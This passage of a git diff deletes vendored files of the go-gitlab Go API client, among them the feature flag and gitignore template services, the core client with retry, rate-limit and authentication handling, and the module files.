a/vendor/github.com/xanzy/go-gitlab/feature_flags.go +++ /dev/null @@ -1,79 +0,0 @@ -package gitlab - -import ( - "fmt" - "net/url" -) - -// FeaturesService handles the communication with the application FeaturesService -// related methods of the GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/features.html -type FeaturesService struct { - client *Client -} - -// Feature represents a GitLab feature flag. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/features.html -type Feature struct { - Name string `json:"name"` - State string `json:"state"` - Gates []Gate -} - -// Gate represents a gate of a GitLab feature flag. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/features.html -type Gate struct { - Key string `json:"key"` - Value interface{} `json:"value"` -} - -func (f Feature) String() string { - return Stringify(f) -} - -// ListFeatures gets a list of feature flags -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/features.html#list-all-features -func (s *FeaturesService) ListFeatures(options ...RequestOptionFunc) ([]*Feature, *Response, error) { - req, err := s.client.NewRequest("GET", "features", nil, options) - if err != nil { - return nil, nil, err - } - - var f []*Feature - resp, err := s.client.Do(req, &f) - if err != nil { - return nil, resp, err - } - return f, resp, err -} - -// SetFeatureFlag sets or creates a feature flag gate -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/features.html#set-or-create-a-feature -func (s *FeaturesService) SetFeatureFlag(name string, value interface{}, options ...RequestOptionFunc) (*Feature, *Response, error) { - u := fmt.Sprintf("features/%s", url.PathEscape(name)) - - opt := struct { - Value interface{} `url:"value" json:"value"` - }{ - value, - } - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - f := &Feature{} - resp, err := s.client.Do(req, f) - if err != nil { - return nil, resp, err - } - return f, resp, err -} diff --git a/vendor/github.com/xanzy/go-gitlab/gitignore_templates.go b/vendor/github.com/xanzy/go-gitlab/gitignore_templates.go deleted file mode 100644 index e2dea83647..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/gitignore_templates.go +++ /dev/null @@ -1,84 +0,0 @@ -// -// Copyright 2018, Sander van Harmelen -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -import ( - "fmt" - "net/url" -) - -// GitIgnoreTemplatesService handles communication with the gitignore -// templates related methods of the GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/templates/gitignores.html -type GitIgnoreTemplatesService struct { - client *Client -} - -// GitIgnoreTemplate represents a GitLab gitignore template. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/templates/gitignores.html -type GitIgnoreTemplate struct { - Name string `json:"name"` - Content string `json:"content"` -} - -// ListTemplatesOptions represents the available ListAllTemplates() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/templates/gitignores.html#list-gitignore-templates -type ListTemplatesOptions ListOptions - -// ListTemplates get a list of available git ignore templates -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/templates/gitignores.html#list-gitignore-templates -func (s *GitIgnoreTemplatesService) ListTemplates(opt *ListTemplatesOptions, options ...RequestOptionFunc) ([]*GitIgnoreTemplate, *Response, error) { - req, err := s.client.NewRequest("GET", "templates/gitignores", opt, options) - if err != nil { - return nil, nil, err - } - - var gs []*GitIgnoreTemplate - resp, err := s.client.Do(req, &gs) - if err != nil { - return nil, resp, err - } - - return gs, resp, err -} - -// GetTemplate get a git ignore template -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/templates/gitignores.html#single-gitignore-template -func (s *GitIgnoreTemplatesService) GetTemplate(key string, options ...RequestOptionFunc) (*GitIgnoreTemplate, *Response, error) { - u := fmt.Sprintf("templates/gitignores/%s", url.PathEscape(key)) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - g := new(GitIgnoreTemplate) - resp, err := s.client.Do(req, g) - if err != nil { - return nil, resp, err - } - - return g, resp, err -} diff --git a/vendor/github.com/xanzy/go-gitlab/gitlab.go b/vendor/github.com/xanzy/go-gitlab/gitlab.go deleted file mode 100644 index 2b579839a5..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/gitlab.go +++ /dev/null @@ -1,783 +0,0 @@ -// -// Copyright 2017, Sander van Harmelen -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -// Package gitlab implements a GitLab API client. -package gitlab - -import ( - "context" - "encoding/json" - "fmt" - "io" - "io/ioutil" - "math/rand" - "net/http" - "net/url" - "sort" - "strconv" - "strings" - "sync" - "time" - - "github.com/google/go-querystring/query" - "github.com/hashicorp/go-cleanhttp" - retryablehttp "github.com/hashicorp/go-retryablehttp" - "golang.org/x/oauth2" - "golang.org/x/time/rate" -) - -const ( - defaultBaseURL = "https://gitlab.com/" - apiVersionPath = "api/v4/" - userAgent = "go-gitlab" - - headerRateLimit = "RateLimit-Limit" - headerRateReset = "RateLimit-Reset" -) - -// authType represents an authentication type within GitLab. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/ -type authType int - -// List of available authentication types. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/ -const ( - basicAuth authType = iota - oAuthToken - privateToken -) - -// A Client manages communication with the GitLab API. -type Client struct { - // HTTP client used to communicate with the API. - client *retryablehttp.Client - - // Base URL for API requests. Defaults to the public GitLab API, but can be - // set to a domain endpoint to use with a self hosted GitLab server. baseURL - // should always be specified with a trailing slash. - baseURL *url.URL - - // disableRetries is used to disable the default retry logic. - disableRetries bool - - // configureLimiterOnce is used to make sure the limiter is configured exactly - // once and block all other calls until the initial (one) call is done. - configureLimiterOnce sync.Once - - // Limiter is used to limit API calls and prevent 429 responses. - limiter *rate.Limiter - - // Token type used to make authenticated API calls. - authType authType - - // Username and password used for basix authentication. - username, password string - - // Token used to make authenticated API calls. - token string - - // Protects the token field from concurrent read/write accesses. - tokenLock sync.RWMutex - - // User agent used when communicating with the GitLab API. - UserAgent string - - // Services used for talking to different parts of the GitLab API. - AccessRequests *AccessRequestsService - Applications *ApplicationsService - AwardEmoji *AwardEmojiService - Boards *IssueBoardsService - Branches *BranchesService - BroadcastMessage *BroadcastMessagesService - CIYMLTemplate *CIYMLTemplatesService - Commits *CommitsService - ContainerRegistry *ContainerRegistryService - CustomAttribute *CustomAttributesService - DeployKeys *DeployKeysService - DeployTokens *DeployTokensService - Deployments *DeploymentsService - Discussions *DiscussionsService - Environments *EnvironmentsService - EpicIssues *EpicIssuesService - Epics *EpicsService - Events *EventsService - Features *FeaturesService - GitIgnoreTemplates *GitIgnoreTemplatesService - GroupBadges *GroupBadgesService - GroupCluster *GroupClustersService - GroupIssueBoards *GroupIssueBoardsService - GroupLabels *GroupLabelsService - GroupMembers *GroupMembersService - GroupMilestones *GroupMilestonesService - GroupVariables *GroupVariablesService - Groups *GroupsService - InstanceCluster *InstanceClustersService - IssueLinks *IssueLinksService - Issues *IssuesService - IssuesStatistics *IssuesStatisticsService - Jobs *JobsService - Keys *KeysService - Labels *LabelsService - License *LicenseService - LicenseTemplates *LicenseTemplatesService - MergeRequestApprovals *MergeRequestApprovalsService - MergeRequests *MergeRequestsService - Milestones *MilestonesService - Namespaces *NamespacesService - Notes *NotesService - NotificationSettings *NotificationSettingsService - PagesDomains *PagesDomainsService - PipelineSchedules *PipelineSchedulesService - PipelineTriggers *PipelineTriggersService - Pipelines *PipelinesService - ProjectBadges *ProjectBadgesService - ProjectCluster *ProjectClustersService - ProjectImportExport *ProjectImportExportService - ProjectMembers *ProjectMembersService - ProjectMirrors *ProjectMirrorService - ProjectSnippets *ProjectSnippetsService - ProjectVariables *ProjectVariablesService - Projects *ProjectsService - ProtectedBranches *ProtectedBranchesService - ProtectedTags *ProtectedTagsService - ReleaseLinks *ReleaseLinksService - Releases *ReleasesService - Repositories *RepositoriesService - RepositoryFiles *RepositoryFilesService - ResourceLabelEvents *ResourceLabelEventsService - Runners *RunnersService - Search *SearchService - Services *ServicesService - Settings *SettingsService - Sidekiq *SidekiqService - Snippets *SnippetsService - SystemHooks *SystemHooksService - Tags *TagsService - Todos *TodosService - Users *UsersService - Validate *ValidateService - Version *VersionService - Wikis *WikisService -} - -// ListOptions specifies the optional parameters to various List methods that -// support pagination. -type ListOptions struct { - // For paginated result sets, page of results to retrieve. - Page int `url:"page,omitempty" json:"page,omitempty"` - - // For paginated result sets, the number of results to include per page. - PerPage int `url:"per_page,omitempty" json:"per_page,omitempty"` -} - -// NewClient returns a new GitLab API client. To use API methods which require -// authentication, provide a valid private or personal token. -func NewClient(token string, options ...ClientOptionFunc) (*Client, error) { - client, err := newClient(options...) - if err != nil { - return nil, err - } - client.authType = privateToken - client.token = token - return client, nil -} - -// NewBasicAuthClient returns a new GitLab API client. To use API methods which -// require authentication, provide a valid username and password. -func NewBasicAuthClient(username, password string, options ...ClientOptionFunc) (*Client, error) { - client, err := newClient(options...) - if err != nil { - return nil, err - } - - client.authType = basicAuth - client.username = username - client.password = password - - return client, nil -} - -// NewOAuthClient returns a new GitLab API client. To use API methods which -// require authentication, provide a valid oauth token. -func NewOAuthClient(token string, options ...ClientOptionFunc) (*Client, error) { - client, err := newClient(options...) - if err != nil { - return nil, err - } - client.authType = oAuthToken - client.token = token - return client, nil -} - -func newClient(options ...ClientOptionFunc) (*Client, error) { - c := &Client{UserAgent: userAgent} - - // Configure the HTTP client. - c.client = &retryablehttp.Client{ - Backoff: c.retryHTTPBackoff, - CheckRetry: c.retryHTTPCheck, - ErrorHandler: retryablehttp.PassthroughErrorHandler, - HTTPClient: cleanhttp.DefaultPooledClient(), - RetryWaitMin: 100 * time.Millisecond, - RetryWaitMax: 400 * time.Millisecond, - RetryMax: 5, - } - - // Set the default base URL. - c.setBaseURL(defaultBaseURL) - - // Apply any given client options. - for _, fn := range options { - if fn == nil { - continue - } - if err := fn(c); err != nil { - return nil, err - } - } - - // Create the internal timeStats service. - timeStats := &timeStatsService{client: c} - - // Create all the public services. - c.AccessRequests = &AccessRequestsService{client: c} - c.Applications = &ApplicationsService{client: c} - c.AwardEmoji = &AwardEmojiService{client: c} - c.Boards = &IssueBoardsService{client: c} - c.Branches = &BranchesService{client: c} - c.BroadcastMessage = &BroadcastMessagesService{client: c} - c.CIYMLTemplate = &CIYMLTemplatesService{client: c} - c.Commits = &CommitsService{client: c} - c.ContainerRegistry = &ContainerRegistryService{client: c} - c.CustomAttribute = &CustomAttributesService{client: c} - c.DeployKeys = &DeployKeysService{client: c} - c.DeployTokens = &DeployTokensService{client: c} - c.Deployments = &DeploymentsService{client: c} - c.Discussions = &DiscussionsService{client: c} - c.Environments = &EnvironmentsService{client: c} - c.EpicIssues = &EpicIssuesService{client: c} - c.Epics = &EpicsService{client: c} - c.Events = &EventsService{client: c} - c.Features = &FeaturesService{client: c} - c.GitIgnoreTemplates = &GitIgnoreTemplatesService{client: c} - c.GroupBadges = &GroupBadgesService{client: c} - c.GroupCluster = &GroupClustersService{client: c} - c.GroupIssueBoards = &GroupIssueBoardsService{client: c} - c.GroupLabels = &GroupLabelsService{client: c} - c.GroupMembers = &GroupMembersService{client: c} - c.GroupMilestones = &GroupMilestonesService{client: c} - c.GroupVariables = &GroupVariablesService{client: c} - c.Groups = &GroupsService{client: c} - c.InstanceCluster = &InstanceClustersService{client: c} - c.IssueLinks = &IssueLinksService{client: c} - c.Issues = &IssuesService{client: c, timeStats: timeStats} - c.IssuesStatistics = &IssuesStatisticsService{client: c} - c.Jobs = &JobsService{client: c} - c.Keys = &KeysService{client: c} - c.Labels = &LabelsService{client: c} - c.License = &LicenseService{client: c} - c.LicenseTemplates = &LicenseTemplatesService{client: c} - c.MergeRequestApprovals = &MergeRequestApprovalsService{client: c} - c.MergeRequests = &MergeRequestsService{client: c, timeStats: timeStats} - c.Milestones = &MilestonesService{client: c} - c.Namespaces = &NamespacesService{client: c} - c.Notes = &NotesService{client: c} - c.NotificationSettings = &NotificationSettingsService{client: c} - c.PagesDomains = &PagesDomainsService{client: c} - c.PipelineSchedules = &PipelineSchedulesService{client: c} - c.PipelineTriggers = &PipelineTriggersService{client: c} - c.Pipelines = &PipelinesService{client: c} - c.ProjectBadges = &ProjectBadgesService{client: c} - c.ProjectCluster = &ProjectClustersService{client: c} - c.ProjectImportExport = &ProjectImportExportService{client: c} - c.ProjectMembers = &ProjectMembersService{client: c} - c.ProjectMirrors = &ProjectMirrorService{client: c} - c.ProjectSnippets = &ProjectSnippetsService{client: c} - c.ProjectVariables = &ProjectVariablesService{client: c} - c.Projects = &ProjectsService{client: c} - c.ProtectedBranches = &ProtectedBranchesService{client: c} - c.ProtectedTags = &ProtectedTagsService{client: c} - c.ReleaseLinks = &ReleaseLinksService{client: c} - c.Releases = &ReleasesService{client: c} - c.Repositories = &RepositoriesService{client: c} - c.RepositoryFiles = &RepositoryFilesService{client: c} - c.ResourceLabelEvents = &ResourceLabelEventsService{client: c} - c.Runners = &RunnersService{client: c} - c.Search = &SearchService{client: c} - c.Services = &ServicesService{client: c} - c.Settings = &SettingsService{client: c} - c.Sidekiq = &SidekiqService{client: c} - c.Snippets = &SnippetsService{client: c} - c.SystemHooks = &SystemHooksService{client: c} - c.Tags = &TagsService{client: c} - c.Todos = &TodosService{client: c} - c.Users = &UsersService{client: c} - c.Validate = &ValidateService{client: c} - c.Version = &VersionService{client: c} - c.Wikis = &WikisService{client: c} - - return c, nil -} - -// retryHTTPCheck provides a callback for Client.CheckRetry which -// will retry both rate limit (429) and server (>= 500) errors. -func (c *Client) retryHTTPCheck(ctx context.Context, resp *http.Response, err error) (bool, error) { - if ctx.Err() != nil { - return false, ctx.Err() - } - if err != nil { - return false, err - } - if !c.disableRetries && (resp.StatusCode == 429 || resp.StatusCode >= 500) { - return true, nil - } - return false, nil -} - -// retryHTTPBackoff provides a generic callback for Client.Backoff which -// will pass through all calls based on the status code of the response. -func (c *Client) retryHTTPBackoff(min, max time.Duration, attemptNum int, resp *http.Response) time.Duration { - // Use the rate limit backoff function when we are rate limited. - if resp != nil && resp.StatusCode == 429 { - return rateLimitBackoff(min, max, attemptNum, resp) - } - - // Set custom duration's when we experience a service interruption. - min = 700 * time.Millisecond - max = 900 * time.Millisecond - - return retryablehttp.LinearJitterBackoff(min, max, attemptNum, resp) -} - -// rateLimitBackoff provides a callback for Client.Backoff which will use the -// RateLimit-Reset header to determine the time to wait. We add some jitter -// to prevent a thundering herd. -// -// min and max are mainly used for bounding the jitter that will be added to -// the reset time retrieved from the headers. But if the final wait time is -// less then min, min will be used instead. -func rateLimitBackoff(min, max time.Duration, attemptNum int, resp *http.Response) time.Duration { - // rnd is used to generate pseudo-random numbers. - rnd := rand.New(rand.NewSource(time.Now().UnixNano())) - - // First create some jitter bounded by the min and max durations. - jitter := time.Duration(rnd.Float64() * float64(max-min)) - - if resp != nil { - if v := resp.Header.Get(headerRateReset); v != "" { - if reset, _ := strconv.ParseInt(v, 10, 64); reset > 0 { - // Only update min if the given time to wait is longer. - if wait := time.Until(time.Unix(reset, 0)); wait > min { - min = wait - } - } - } - } - - return min + jitter -} - -// configureLimiter configures the rate limiter. -func (c *Client) configureLimiter() error { - // Set default values for when rate limiting is disabled. - limit := rate.Inf - burst := 0 - - defer func() { - // Create a new limiter using the calculated values. - c.limiter = rate.NewLimiter(limit, burst) - }() - - // Create a new request. - req, err := http.NewRequest("GET", c.baseURL.String(), nil) - if err != nil { - return err - } - - // Make a single request to retrieve the rate limit headers. - resp, err := c.client.HTTPClient.Do(req) - if err != nil { - return err - } - resp.Body.Close() - - if v := resp.Header.Get(headerRateLimit); v != "" { - if rateLimit, _ := strconv.ParseFloat(v, 64); rateLimit > 0 { - // The rate limit is based on requests per minute, so for our limiter to - // work correctly we devide the limit by 60 to get the limit per second. - rateLimit /= 60 - // Configure the limit and burst using a split of 2/3 for the limit and - // 1/3 for the burst. This enables clients to burst 1/3 of the allowed - // calls before the limiter kicks in. The remaining calls will then be - // spread out evenly using intervals of time.Second / limit which should - // prevent hitting the rate limit. - limit = rate.Limit(rateLimit * 0.66) - burst = int(rateLimit * 0.33) - } - } - - return nil -} - -// BaseURL return a copy of the baseURL. -func (c *Client) BaseURL() *url.URL { - u := *c.baseURL - return &u -} - -// setBaseURL sets the base URL for API requests to a custom endpoint. -func (c *Client) setBaseURL(urlStr string) error { - // Make sure the given URL end with a slash - if !strings.HasSuffix(urlStr, "/") { - urlStr += "/" - } - - baseURL, err := url.Parse(urlStr) - if err != nil { - return err - } - - if !strings.HasSuffix(baseURL.Path, apiVersionPath) { - baseURL.Path += apiVersionPath - } - - // Update the base URL of the client. - c.baseURL = baseURL - - return nil -} - -// NewRequest creates an API request. A relative URL path can be provided in -// path, in which case it is resolved relative to the base URL of the Client. -// Relative URL paths should always be specified without a preceding slash. If -// specified, the value pointed to by body is JSON encoded and included as the -// request body. -func (c *Client) NewRequest(method, path string, opt interface{}, options []RequestOptionFunc) (*retryablehttp.Request, error) { - u := *c.baseURL - unescaped, err := url.PathUnescape(path) - if err != nil { - return nil, err - } - - // Set the encoded path data - u.RawPath = c.baseURL.Path + path - u.Path = c.baseURL.Path + unescaped - - // Create a request specific headers map. - reqHeaders := make(http.Header) - reqHeaders.Set("Accept", "application/json") - - if c.UserAgent != "" { - reqHeaders.Set("User-Agent", c.UserAgent) - } - - var body interface{} - switch { - case method == "POST" || method == "PUT": - reqHeaders.Set("Content-Type", "application/json") - - if opt != nil { - body, err = json.Marshal(opt) - if err != nil { - return nil, err - } - } - case opt != nil: - q, err := query.Values(opt) - if err != nil { - return nil, err - } - u.RawQuery = q.Encode() - } - - req, err := retryablehttp.NewRequest(method, u.String(), body) - if err != nil { - return nil, err - } - - for _, fn := range options { - if fn == nil { - continue - } - if err := fn(req); err != nil { - return nil, err - } - } - - // Set the request specific headers. - for k, v := range reqHeaders { - req.Header[k] = v - } - - return req, nil -} - -// Response is a GitLab API response. This wraps the standard http.Response -// returned from GitLab and provides convenient access to things like -// pagination links. -type Response struct { - *http.Response - - // These fields provide the page values for paginating through a set of - // results. Any or all of these may be set to the zero value for - // responses that are not part of a paginated set, or for which there - // are no additional pages. - TotalItems int - TotalPages int - ItemsPerPage int - CurrentPage int - NextPage int - PreviousPage int -} - -// newResponse creates a new Response for the provided http.Response. -func newResponse(r *http.Response) *Response { - response := &Response{Response: r} - response.populatePageValues() - return response -} - -const ( - xTotal = "X-Total" - xTotalPages = "X-Total-Pages" - xPerPage = "X-Per-Page" - xPage = "X-Page" - xNextPage = "X-Next-Page" - xPrevPage = "X-Prev-Page" -) - -// populatePageValues parses the HTTP Link response headers and populates the -// various pagination link values in the Response. -func (r *Response) populatePageValues() { - if totalItems := r.Response.Header.Get(xTotal); totalItems != "" { - r.TotalItems, _ = strconv.Atoi(totalItems) - } - if totalPages := r.Response.Header.Get(xTotalPages); totalPages != "" { - r.TotalPages, _ = strconv.Atoi(totalPages) - } - if itemsPerPage := r.Response.Header.Get(xPerPage); itemsPerPage != "" { - r.ItemsPerPage, _ = strconv.Atoi(itemsPerPage) - } - if currentPage := r.Response.Header.Get(xPage); currentPage != "" { - r.CurrentPage, _ = strconv.Atoi(currentPage) - } - if nextPage := r.Response.Header.Get(xNextPage); nextPage != "" { - r.NextPage, _ = strconv.Atoi(nextPage) - } - if previousPage := r.Response.Header.Get(xPrevPage); previousPage != "" { - r.PreviousPage, _ = strconv.Atoi(previousPage) - } -} - -// Do sends an API request and returns the API response. The API response is -// JSON decoded and stored in the value pointed to by v, or returned as an -// error if an API error has occurred. If v implements the io.Writer -// interface, the raw response body will be written to v, without attempting to -// first decode it. -func (c *Client) Do(req *retryablehttp.Request, v interface{}) (*Response, error) { - // If not yet configured, try to configure the rate limiter. Fail - // silently as the limiter will be disabled in case of an error. - c.configureLimiterOnce.Do(func() { c.configureLimiter() }) - - // Wait will block until the limiter can obtain a new token. - err := c.limiter.Wait(req.Context()) - if err != nil { - return nil, err - } - - // Set the correct authentication header. If using basic auth, then check - // if we already have a token and if not first authenticate and get one. - var basicAuthToken string - switch c.authType { - case basicAuth: - c.tokenLock.RLock() - basicAuthToken = c.token - c.tokenLock.RUnlock() - if basicAuthToken == "" { - // If we don't have a token yet, we first need to request one. - basicAuthToken, err = c.requestOAuthToken(req.Context(), basicAuthToken) - if err != nil { - return nil, err - } - } - req.Header.Set("Authorization", "Bearer "+basicAuthToken) - case oAuthToken: - req.Header.Set("Authorization", "Bearer "+c.token) - case privateToken: - req.Header.Set("PRIVATE-TOKEN", c.token) - } - - resp, err := c.client.Do(req) - if err != nil { - return nil, err - } - defer resp.Body.Close() - - if resp.StatusCode == http.StatusUnauthorized && c.authType == basicAuth { - // The token most likely expired, so we need to request a new one and try again. - if _, err := c.requestOAuthToken(req.Context(), basicAuthToken); err != nil { - return nil, err - } - return c.Do(req, v) - } - - response := newResponse(resp) - - err = CheckResponse(resp) - if err != nil { - // Even though there was an error, we still return the response - // in case the caller wants to inspect it further. - return response, err - } - - if v != nil { - if w, ok := v.(io.Writer); ok { - _, err = io.Copy(w, resp.Body) - } else { - err = json.NewDecoder(resp.Body).Decode(v) - } - } - - return response, err -} - -func (c *Client) requestOAuthToken(ctx context.Context, token string) (string, error) { - c.tokenLock.Lock() - defer c.tokenLock.Unlock() - - // Return early if the token was updated while waiting for the lock. - if c.token != token { - return c.token, nil - } - - config := &oauth2.Config{ - Endpoint: oauth2.Endpoint{ - AuthURL: fmt.Sprintf("%s://%s/oauth/authorize", c.BaseURL().Scheme, c.BaseURL().Host), - TokenURL: fmt.Sprintf("%s://%s/oauth/token", c.BaseURL().Scheme, c.BaseURL().Host), - }, - } - - ctx = context.WithValue(ctx, oauth2.HTTPClient, c.client.HTTPClient) - t, err := config.PasswordCredentialsToken(ctx, c.username, c.password) - if err != nil { - return "", err - } - c.token = t.AccessToken - - return c.token, nil -} - -// Helper function to accept and format both the project ID or name as project -// identifier for all API calls. -func parseID(id interface{}) (string, error) { - switch v := id.(type) { - case int: - return strconv.Itoa(v), nil - case string: - return v, nil - default: - return "", fmt.Errorf("invalid ID type %#v, the ID must be an int or a string", id) - } -} - -// Helper function to escape a project identifier. -func pathEscape(s string) string { - return strings.Replace(url.PathEscape(s), ".", "%2E", -1) -} - -// An ErrorResponse reports one or more errors caused by an API request. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/README.html#data-validation-and-error-reporting -type ErrorResponse struct { - Body []byte - Response *http.Response - Message string -} - -func (e *ErrorResponse) Error() string { - path, _ := url.QueryUnescape(e.Response.Request.URL.Path) - u := fmt.Sprintf("%s://%s%s", e.Response.Request.URL.Scheme, e.Response.Request.URL.Host, path) - return fmt.Sprintf("%s %s: %d %s", e.Response.Request.Method, u, e.Response.StatusCode, e.Message) -} - -// CheckResponse checks the API response for errors, and returns them if present. -func CheckResponse(r *http.Response) error { - switch r.StatusCode { - case 200, 201, 202, 204, 304: - return nil - } - - errorResponse := &ErrorResponse{Response: r} - data, err := ioutil.ReadAll(r.Body) - if err == nil && data != nil { - errorResponse.Body = data - - var raw interface{} - if err := json.Unmarshal(data, &raw); err != nil { - errorResponse.Message = "failed to parse unknown error format" - } else { - errorResponse.Message = parseError(raw) - } - } - - return errorResponse -} - -// Format: -// { -// "message": { -// "": [ -// "", -// "", -// ... -// ], -// "": { -// "": [ -// "", -// "", -// ... -// ], -// } -// }, -// "error": "" -// } -func parseError(raw interface{}) string { - switch raw := raw.(type) { - case string: - return raw - - case []interface{}: - var errs []string - for _, v := range raw { - errs = append(errs, parseError(v)) - } - return fmt.Sprintf("[%s]", strings.Join(errs, ", ")) - - case map[string]interface{}: - var errs []string - for k, v := range raw { - errs = append(errs, fmt.Sprintf("{%s: %s}", k, parseError(v))) - } - sort.Strings(errs) - return strings.Join(errs, ", ") - - default: - return fmt.Sprintf("failed to parse unexpected error type: %T", raw) - } -} diff --git a/vendor/github.com/xanzy/go-gitlab/go.mod b/vendor/github.com/xanzy/go-gitlab/go.mod deleted file mode 100644 index e947c98809..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/go.mod +++ /dev/null @@ -1,15 +0,0 @@ -module github.com/xanzy/go-gitlab - -require ( - github.com/google/go-querystring v1.0.0 - github.com/hashicorp/go-cleanhttp v0.5.1 - github.com/hashicorp/go-retryablehttp v0.6.4 - github.com/stretchr/testify v1.4.0 - golang.org/x/net v0.0.0-20181108082009-03003ca0c849 // indirect - golang.org/x/oauth2 v0.0.0-20181106182150-f42d05182288 - golang.org/x/sync v0.0.0-20181108010431-42b317875d0f // indirect - golang.org/x/time v0.0.0-20191024005414-555d28b269f0 - google.golang.org/appengine v1.3.0 // indirect -) - -go 1.13 diff --git a/vendor/github.com/xanzy/go-gitlab/go.sum b/vendor/github.com/xanzy/go-gitlab/go.sum deleted file mode 100644 index c10598c5b1..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/go.sum +++ /dev/null @@ -1,36 +0,0 @@ -github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8= -github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= -github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= -github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= -github.com/golang/protobuf v1.2.0 h1:P3YflyNX/ehuJFLhxviNdFxQPkGK5cDcApsge1SqnvM= -github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= -github.com/google/go-querystring v1.0.0 h1:Xkwi/a1rcvNg1PPYe5vI8GbeBY/jrVuDX5ASuANWTrk= -github.com/google/go-querystring v1.0.0/go.mod h1:odCYkC5MyYFN7vkCjXpyrEuKhc/BUO6wN/zVPAxq5ck= -github.com/hashicorp/go-cleanhttp v0.5.1 h1:dH3aiDG9Jvb5r5+bYHsikaOUIpcM0xvgMXVoDkXMzJM= -github.com/hashicorp/go-cleanhttp v0.5.1/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80= -github.com/hashicorp/go-hclog v0.9.2 h1:CG6TE5H9/JXsFWJCfoIVpKFIkFe6ysEuHirp4DxCsHI= -github.com/hashicorp/go-hclog v0.9.2/go.mod h1:5CU+agLiy3J7N7QjHK5d05KxGsuXiQLrjA0H7acj2lQ= -github.com/hashicorp/go-retryablehttp v0.6.4 h1:BbgctKO892xEyOXnGiaAwIoSq1QZ/SS4AhjoAh9DnfY= -github.com/hashicorp/go-retryablehttp v0.6.4/go.mod h1:vAew36LZh98gCBJNLH42IQ1ER/9wtLZZ8meHqQvEYWY= -github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= -github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= -github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= -github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= -github.com/stretchr/testify v1.4.0 h1:2E4SXV/wtOkTonXsotYi4li6zVWxYlZuYNCXe9XRJyk= -github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= -golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20181108082009-03003ca0c849 h1:FSqE2GGG7wzsYUsWiQ8MZrvEd1EOyU3NCF0AW3Wtltg= -golang.org/x/net v0.0.0-20181108082009-03003ca0c849/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/oauth2 v0.0.0-20181106182150-f42d05182288 h1:JIqe8uIcRBHXDQVvZtHwp80ai3Lw3IJAeJEs55Dc1W0= -golang.org/x/oauth2 v0.0.0-20181106182150-f42d05182288/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= -golang.org/x/sync v0.0.0-20181108010431-42b317875d0f h1:Bl/8QSvNqXvPGPGXa2z5xUTmV7VDcZyvRZ+QQXkXTZQ= -golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= -golang.org/x/time v0.0.0-20191024005414-555d28b269f0 h1:/5xXl8Y5W96D+TtHSlonuFqGHIWVuyCkGJLwGh9JJFs= -golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= -google.golang.org/appengine v1.3.0 h1:FBSsiFRMz3LBeXIomRnVzrQwSDj4ibvcRexLG0LZGQk= 